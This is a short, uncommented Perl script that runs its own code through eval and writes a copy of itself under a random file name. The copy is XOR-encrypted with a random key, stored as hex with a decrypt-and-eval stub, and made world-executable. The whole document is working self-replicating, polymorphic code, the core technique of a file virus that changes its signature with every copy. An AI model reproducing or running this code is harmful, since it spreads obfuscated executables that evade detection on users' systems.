#!/usr/bin/perl
$cmd='$q=pack("C",39);$seed=sprintf("%05d",int(rand(99999)));$salt=sprintf("%02d",int(rand(99)));$copyfile=crypt($seed,$salt);$key=int(rand(255));open(out, ">$copyfile");print out "#!/usr/bin/perl\n";$enc="";for($j=0;$j<length($dec_code);$j++){$l=substr($dec_code,$j,1);$i=unpack("C",$l);$en=$i^$key;$enc.=sprintf("%02x",$en);}print out "\$cmd=$q$enc$q;\n";print out "\$key=$key;\n";print out "\$dec_code=&decrypt(\$cmd,\$key);\n";print out "eval(\$dec_code);\n\n";print out "sub decrypt{\n";print out "\tfor(\$i=0;\$i<length(\$_[0]);\$i=\$i+2){\n";print out"\t\t\$c=substr(\$_[0],\$i,2);\n";print out "\t\t\$idx=hex(\$c)^\$_[1];\n";print out"\t\t\$dec.=pack(\"C\",\$idx);\n";print out "\t}\n";print out "\treturn \$dec;\n";print out "}\n";close(file);close(out);chmod(0777,$copyfile);';
$dec_code=$cmd;
eval($cmd);